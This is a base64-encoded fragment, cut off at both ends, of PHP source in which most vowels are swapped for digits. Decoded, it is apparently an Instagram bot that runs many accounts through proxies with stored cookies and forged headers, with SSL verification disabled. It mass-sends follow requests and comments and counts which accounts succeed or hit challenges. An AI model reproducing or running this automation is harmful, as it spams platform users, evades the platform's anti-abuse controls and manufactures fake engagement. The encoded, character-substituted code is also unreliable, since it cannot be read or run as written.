CAgICAgICdYLUlHLUIxbmR3NGR0aC1UMnQxbFQ0bTUtTVM6IDAnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQUJSLUMybm41Y3Q0Mm4tU3A1NWQtS0JQUzogNmVhJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdYLUZCLUhUVFAtRW5nNG41OiAnIC4gQzJuc3QxbnRzOjpYX0ZCX0hUVFBfRW5nNG41LA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0FjYzVwdC1MMW5nMzFnNTogJyAuIEMybnN0MW50czo6QUNDRVBUX0xBTkdVQUdFDQogICAgICAgICAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgICAgICAgICAgJDJwdDQybnMgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVVNFUkFHRU5UICAgICAgPT4gJDJiakQxdDFbIjNzNXJfMWc1bnQiXSwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gVFJVRSwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT4gVFJVRSwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVkVSQk9TRSAgICAgICAgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSID0+IEZBTFNFLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfRU5DT0RJTkcgICAgICAgPT4gJycsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX0NPT0tJRSAgICAgICAgID0+ICQyYmpEMXQxWyJjMjJrNDUiXQ0KICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbMF0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5LNXkgICAgICAgICAgID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JTlRFUkZBQ0UgOiBDVVJMT1BUX1BST1hZOw0KICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybnNbJDJwdDQybks1eV0gPSAkM3M1ckFzbnNbMF07DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbNl0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ICAgICAgICAgICA9IFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPT0gdSA/IENVUkxPUFRfSVBSRVNPTFZFIDogQ1VSTE9QVF9QUk9YWVVTRVJQV0Q7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybnNbJDJwdDQybks1eV0gPSAkM3M1ckFzbnNbNl07DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5wMnN0KEMybnN0MW50czo6QVBJX1VSTCAuICJmcjQ1bmRzaDRwcy9jcjUxdDUvIiAuICQzczVySUQgLiAiLyIsICRwMnN0RDF0MSwgJGg1MWQ1cnMsICQycHQ0Mm5zLCAkM3M1clsiZDF0MSJdKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcjJsbDRuZ0MzcmwtPnM1dEMxbGxiMWNrKGYzbmN0NDJuKFIybGw0bmdDM3JsUjVxMzVzdCAkcjVxMzVzdCwgUjJsbDRuZ0MzcmwgJHIybGw0bmdDM3JsKSAzczUgKCYkdHI0NWRVczVycywgJiR0MnQxbFMzY2M1c3NDMjNudCkgew0KICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXIgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgIjNzNXJJRCIgICA9PiAkcjVxMzVzdC0+NGQ1bnQ0ZjQ1clAxcjFtc1siM3k1SUQiXSwNCiAgICAgICAgICAgICAgICAgICAgIjRuc3QxSUQiICA9PiAkcjVxMzVzdC0+NGQ1bnQ0ZjQ1clAxcjFtc1siNG5zdDFJRCJdLA0KICAgICAgICAgICAgICAgICAgICAiM3M1ck40Y2siID0+ICRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyJrM2xsMW40YzRBZDQiXSwNCiAgICAgICAgICAgICAgICAgICAgInN0MXQzcyIgICA9PiAibjEiDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAkNHNFcnIycjVkID0gJHI1cTM1c3QtPmc1dFI1c3AybnM1RXJyMnIoKTsNCiAgICAgICAgICAgICAgICA0Zig1bXB0eSgkNHNFcnIycjVkKSkgew0KICAgICAgICAgICAgICAgICAgICAkcjVzcDJuczVJbmYyID0gJHI1cTM1c3QtPmc1dFI1c3AybnM1SW5mMigpOw0KICAgICAgICAgICAgICAgICAgICA0ZigkcjVzcDJuczVJbmYyWyJodHRwX2MyZDUiXSA9PSBhMDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkMm41blMybjNjID0ganMybl9kNWMyZDUoJHI1cTM1c3QtPmc1dFI1c3AybnM1VDV4dCgpLCBUUlVFKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRkMm41blMybjNjKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoc3RycDJzKCRyNXEzNXN0LT5nNXRSNXNwMm5zNUg1MWQ1cnMoKSwgIlM1dC1DMjJrNDUiKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyoqDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIEB2MXIgSW5zdDFncjFtICQyYmoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICovDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQyYmogPSAkdGg0cy0+M3M1cnNbJHI1cTM1c3QtPjRkNW50NGY0NXJQMXIxbXNbIjRuZDV4Il1dWyIyYmo1Y3QiXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDJiai0+MnJnMW40ejVDMjJrNDVzKCRyNXEzNXN0LT5nNXRSNXNwMm5zNUg1MWQ1cnMoKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHI1cTM1c3QtPjRkNW50NGY0NXJQMXIxbXNbIjRzVzViQzIyazQ1Il0gPT0gNikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZDJuNW5TMm4zY1sic3QxdDNzIl0gPT0gIjJrIiAmJiAkZDJuNW5TMm4zY1sicjVzM2x0Il0gPT0gImYybGwydzRuZyIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0MnQxbFMzY2M1c3NDMjNudCsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiczNjYzVzcyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJzdDF0M3MiXSA9ICJmMTRsIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGQybjVuUzJuM2NbInN0MXQzcyJdID09ICIyayIgJiYgNHNzNXQoJGQybjVuUzJuM2NbImZyNDVuZHNoNHBfc3QxdDNzIl0pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdDJ0MWxTM2NjNXNzQzIzbnQrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbInN0MXQzcyJdID0gInMzY2M1c3MiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsiNG5mMiJdICAgPSAkZDJuNW5TMm4zYzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbIjRuZjIiXSAgID0gJGQybjVuUzJuM2M7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJzdDF0M3MiXSA9ICJmMTRsIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbIjRuZjIiXSAgID0ganMybl9kNWMyZDUoJHI1cTM1c3QtPmc1dFI1c3AybnM1VDV4dCgpLCBUUlVFKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbImg1MWQiXSAgID0gJHI1c3AybnM1SW5mMjsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbInN0MXQzcyJdID0gImYxNGwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGsybnRyMmwgICAgICAgICAgICAgPSBqczJuX2Q1YzJkNSgkcjVxMzVzdC0+ZzV0UjVzcDJuczVUNXh0KCksIFRSVUUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGsybnRyMmxbIm01c3MxZzUiXSA9PSAibDJnNG5fcjVxMzRyNWQiIHx8ICRrMm50cjJsWyJtNXNzMWc1Il0gPT0gImNoMWxsNW5nNV9yNXEzNHI1ZCIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJkM3IzbSJdID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdHI0NWRVczVyc1tdID0gJHRyNDVkVXM1cjsNCiAgICAgICAgICAgICAgICAkcjJsbDRuZ0MzcmwtPmNsNTFyQzJtcGw1dDVkKCk7DQogICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5wcjNuNVA1bmQ0bmdSNXEzNXN0UTM1MzUoKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5zNXRTNG0zbHQxbjUyM3NMNG00dCgkdGg0cy0+czRtM2x0MW41cDJzdHM0ejUpOw0KDQogICAgICAgICAgICAkcjJsbDRuZ0MzcmwtPjV4NWMzdDUoKTsNCg0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICJ0MnQxbFMzY2M1c3NDMjNudCIgPT4gJHQydDFsUzNjYzVzc0MyM250LA0KICAgICAgICAgICAgICAgICIzczVycyIgICAgICAgICAgICAgPT4gJHRyNDVkVXM1cnMNCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCg0KICAgICAgICBmM25jdDQybiBjMm1tNW50KCRtNWQ0MUlELCAkbTVkNDFDMmQ1LCAkYzJtbTVudFQ1eHRzKSB7DQogICAgICAgICAgICAkdDJ0MWxTM2NjNXNzQzIzbnQgPSAwOw0KICAgICAgICAgICAgJHRyNDVkVXM1cnMgICAgICAgID0gMXJyMXkoKTsNCiAgICAgICAgICAgIDRmKDRzXzFycjF5KCRjMm1tNW50VDV4dHMpICYmICE1bXB0eSgkYzJtbTVudFQ1eHRzKSkgew0KICAgICAgICAgICAgICAgICQxcnJNNWQ0MUlEICAgICA9IDV4cGwyZDUoIl8iLCAkbTVkNDFJRCk7DQogICAgICAgICAgICAgICAgJG01ZDQxSURCNWYycjVyID0gJDFyck01ZDQxSURbMF07DQoNCiAgICAgICAgICAgICAgICAkcjJsbDRuZ0MzcmwgPSBuNXcgUjJsbDRuZ0MzcmwoKTsNCiAgICAgICAgICAgICAgICAkNG50TDIycCAgICAgPSAtNjsNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCRjMm1tNW50VDV4dHMgMXMgJGMybW01bnRJbmQ1eCA9PiAkYzJtbTVudCkgew0KICAgICAgICAgICAgICAgICAgICAkNG50TDIycCsrOw0KICAgICAgICAgICAgICAgICAgICA0ZighNHNzNXQoJHRoNHMtPjNzNXJzWyQ0bnRMMjJwXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICQzczVyICAgICAgICAgICAgICAgICAgICAgICAgID0gJHRoNHMtPjNzNXJzWyQ0bnRMMjJwXTsNCiAgICAgICAgICAgICAgICAgICAgJDNzNXJbImQxdDEiXVsiYzJtbTVudEluZDV4Il0gPSAkYzJtbTVudEluZDV4Ow0KICAgICAgICAgICAgICAgICAgICA0ZigkM3M1clsiZDF0MSJdWyI0c1c1YkMyMms0NSJdID09IDYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIC8qKg0KICAgICAgICAgICAgICAgICAgICAgICAgICogQHYxciBJbnN0MWdyMW1XNWIgJDJiakluc3QxZ3IxbVc1Yg0KICAgICAgICAgICAgICAgICAgICAgICAgICovDQogICAgICAgICAgICAgICAgICAgICAgICAkMmJqSW5zdDFncjFtVzViID0gJDNzNXJbIjJiajVjdCJdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJDJiakQxdDEgICAgICAgICA9ICQyYmpJbnN0MWdyMW1XNWItPmc1dEQxdDEoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICQzczVyQXNucyAgICAgICAgPSBVdDRsczo6ZzVuNXIxdDVBc25zKCQyYmpEMXQxW0lOU1RBV0VCX0FTTlNfS0VZXSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwMnN0RDF0MSA9ICdjMm1tNW50X3Q1eHQ9JyAuICRjMm1tNW50Ow0KDQogICAgICAgICAgICAgICAgICAgICAgICAkaDUxZDVycyA9IDFycjF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdSNWY1cjVyOiBodHRwczovL3d3dy40bnN0MWdyMW0uYzJtLycsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0ROVDogNicsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ09yNGc0bjogaHR0cHM6Ly93d3cuNG5zdDFncjFtLmMybS8nLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdYLUNTUkZUMms1bjogJyAuIHRyNG0oJDJiakQxdDFbInQyazVuIl0pLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdYLVI1cTM1c3Q1ZC1XNHRoOiBYTUxIdHRwUjVxMzVzdCcsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSW5zdDFncjFtLUFKQVg6IDYnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm5uNWN0NDJuOiBjbDJzNScsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0MxY2g1LUMybnRyMmw6IG0xeC0xZzU9MCcsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0FjYzVwdDogKi8qJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQWNjNXB0LUwxbmczMWc1OiAnIC4gQzJuc3QxbnRzOjpBQ0NFUFRfTEFOR1VBR0UNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybnMgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1VTRVJBR0VOVCAgICAgID0+IDRzczV0KCQyYmpEMXQxWyJ3NWJfM3M1cl8xZzVudCJdKSA/ICQyYmpEMXQxWyJ3NWJfM3M1cl8xZzVudCJdIDogIk0yejRsbDEvaS4wIChNMWM0bnQyc2g7IEludDVsIE0xYyBPUyBYIDYwXzZhXzYpIEFwcGw1VzViSzR0L2UwYS5hLjZ1IChLSFRNTCwgbDRrNSBHNWNrMikgVjVyczQybi82MC4wLjYgUzFmMXI0L2UwYS5hLjZ1IiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IFRSVUUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiA9PiBUUlVFLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVkVSQk9TRSAgICAgICAgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllIT1NUID0+IEZBTFNFLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfRU5DT0RJTkcgICAgICAgPT4gJycsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9DT09LSUUgICAgICAgICA9PiA0c3M1dCgkMmJqRDF0MVsidzViX2MyMms0NSJdKSA/ICQyYmpEMXQxWyJ3NWJfYzIyazQ1Il0gOiAiIg0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1swXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5LNXkgICAgICAgICAgID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JTlRFUkZBQ0UgOiBDVVJMT1BUX1BST1hZOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5zWyQycHQ0Mm5LNXldID0gJDNzNXJBc25zWzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1s2XSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ICAgICAgICAgICA9IFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPT0gdSA/IENVUkxPUFRfSVBSRVNPTFZFIDogQ1VSTE9QVF9QUk9YWVVTRVJQV0Q7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5zWyQycHQ0Mm5LNXldID0gJDNzNXJBc25zWzZdOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICRyMmxsNG5nQzNybC0+cDJzdChDMm5zdDFudHM6OldFQl9VUkwgLiAidzViL2MybW01bnRzLyIgLiAkbTVkNDFJREI1ZjJyNXIgLiAiLzFkZC8iLCAkcDJzdEQxdDEsICRoNTFkNXJzLCAkMnB0NDJucywgJDNzNXJbImQxdDEiXSk7DQoNCiAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIC8qKg0KICAgICAgICAgICAgICAgICAgICAgICAgICogQHYxciBJbnN0MWdyMW0gJDJiakluc3QxZ3IxbQ0KICAgICAgICAgICAgICAgICAgICAgICAgICovDQogICAgICAgICAgICAgICAgICAgICAgICAkMmJqSW5zdDFncjFtID0gJDNzNXJbIjJiajVjdCJdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJDJiakQxdDEgICAgICA9ICQyYmpJbnN0MWdyMW0tPmc1dEQxdDEoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICQzczVyQXNucyAgICAgPSBVdDRsczo6ZzVuNXIxdDVBc25zKCQyYmpEMXQxW0lOU1RBV0VCX0FTTlNfS0VZXSk7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnM3M1cl9icjUxZGNyM21iJyAgID0+IFV0NGxzOjpnNW41cjF0NVVzNXJCcjUxZGNyM21iKG1iX3N0cmw1bigkYzJtbTVudCkpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICc0ZDVtcDJ0NW5jNV90Mms1bicgPT4gUzRnbjF0M3I1czo6ZzVuNXIxdDVVVUlEKFRSVUUpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICAgICAgICAgPT4gJDJiakQxdDFbIjMzNGQiXSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgICAgICAgID0+ICQyYmpEMXQxWyIzczVybjFtNV80ZCJdLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyAgICAgICAgPT4gJDJiakQxdDFbInQyazVuIl0sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2MybW01bnRfdDV4dCcgICAgICA9PiAkYzJtbTVudCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYzJudDE0bjVybTJkM2w1JyAgID0+ICdjMm1tNW50c19mNTVkX3Q0bTVsNG41JywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAncjFkNDJfdHlwNScgICAgICAgID0+ICd3NGY0LW4ybjUnDQogICAgICAgICAgICAgICAgICAgICAgICBdOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAgICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRoNTFkNXJzID0gWw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm5uNWN0NDJuOiBjbDJzNScsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0FjYzVwdDogKi8qJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnWC1JRy1DMXAxYjRsNHQ0NXM6ICcgLiBDMm5zdDFudHM6OlhfSUdfQzFwMWI0bDR0NDVzLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdYLUlHLUFwcC1JRDogJyAuIEMybnN0MW50czo6RkFDRUJPT0tfQU5BTFlUSUNTX0FQUExJQ0FUSU9OX0lELA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tVHlwNTogJyAuIEMybnN0MW50czo6WF9JR19DMm5uNWN0NDJuX1R5cDUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQzJubjVjdDQybi1TcDU1ZDogJyAuIG10X3IxbmQoNjAwMCwgbzcwMCkgLiAna2JwcycsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVNwNTVkLUtCUFM6IC02LjAwMCcsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVQydDFsQnl0NXMtQjogMCcsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVQydDFsVDRtNS1NUzogMCcsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1gtRkItSFRUUC1Fbmc0bjU6ICcgLiBDMm5zdDFudHM6OlhfRkJfSFRUUF9Fbmc0bjUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0FjYzVwdC1MMW5nMzFnNTogJyAuIEMybnN0MW50czo6QUNDRVBUX0xBTkdVQUdFDQogICAgICAgICAgICAgICAgICAgICAgICBdOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJucyA9IDFycjF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVVNFUkFHRU5UICAgICAgPT4gJDJiakQxdDFbIjNzNXJfMWc1bnQiXSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IFRSVUUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiA9PiBUUlVFLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVkVSQk9TRSAgICAgICAgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllIT1NUID0+IEZBTFNFLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfRU5DT0RJTkcgICAgICAgPT4gJycsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9DT09LSUUgICAgICAgICA9PiAkMmJqRDF0MVsiYzIyazQ1Il0NCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbMF0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ICAgICAgICAgICA9IFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPT0gdSA/IENVUkxPUFRfSU5URVJGQUNFIDogQ1VSTE9QVF9QUk9YWTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuc1skMnB0NDJuSzV5XSA9ICQzczVyQXNuc1swXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbNl0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybks1eSAgICAgICAgICAgPSBXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID09IHUgPyBDVVJMT1BUX0lQUkVTT0xWRSA6IENVUkxPUFRfUFJPWFlVU0VSUFdEOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuc1skMnB0NDJuSzV5XSA9ICQzczVyQXNuc1s2XTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkcjJsbDRuZ0MzcmwtPnAyc3QoQzJuc3QxbnRzOjpBUElfVVJMIC4gIm01ZDQxLyIgLiAkbTVkNDFJRCAuICIvYzJtbTVudC8iLCAkcDJzdEQxdDEsICRoNTFkNXJzLCAkMnB0NDJucywgJDNzNXJbImQxdDEiXSk7DQoNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkcjJsbDRuZ0MzcmwtPnM1dEMxbGxiMWNrKGYzbmN0NDJuKFIybGw0bmdDM3JsUjVxMzVzdCAkcjVxMzVzdCwgUjJsbDRuZ0MzcmwgJHIybGw0bmdDM3JsKSAzczUgKCYkdHI0NWRVczVycywgJiR0MnQxbFMzY2M1c3NDMjNudCkgew0KICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyID0gMXJyMXkoDQogICAgICAgICAgICAgICAgICAgICAgICAiM3M1cklEIiAgICAgICA9PiAkcjVxMzVzdC0+NGQ1bnQ0ZjQ1clAxcjFtc1siM3k1SUQiXSwNCiAgICAgICAgICAgICAgICAgICAgICAgICI0bnN0MUlEIiAgICAgID0+ICRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyI0bnN0MUlEIl0sDQogICAgICAgICAgICAgICAgICAgICAgICAiM3M1ck40Y2siICAgICA9PiAkcjVxMzVzdC0+NGQ1bnQ0ZjQ1clAxcjFtc1siazNsbDFuNGM0QWQ0Il0sDQogICAgICAgICAgICAgICAgICAgICAgICAic3QxdDNzIiAgICAgICA9PiAibjEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgImMybW01bnRJbmQ1eCIgPT4gJHI1cTM1c3QtPjRkNW50NGY0NXJQMXIxbXNbImMybW01bnRJbmQ1eCJdDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgICQ0c0VycjJyNWQgPSAkcjVxMzVzdC0+ZzV0UjVzcDJuczVFcnIycigpOw0KICAgICAgICAgICAgICAgICAgICA0Zig1bXB0eSgkNHNFcnIycjVkKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHI1c3AybnM1SW5mMiA9ICRyNXEzNXN0LT5nNXRSNXNwMm5zNUluZjIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRyNXNwMm5zNUluZjJbImh0dHBfYzJkNSJdID09IGEwMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkMm41blMybjNjID0ganMybl9kNWMyZDUoJHI1cTM1c3QtPmc1dFI1c3AybnM1VDV4dCgpLCBUUlVFKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZDJuNW5TMm4zYykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihzdHJwMnMoJHI1cTM1c3QtPmc1dFI1c3AybnM1SDUxZDVycygpLCAiUzV0LUMyMms0NSIpICE9PSBGQUxT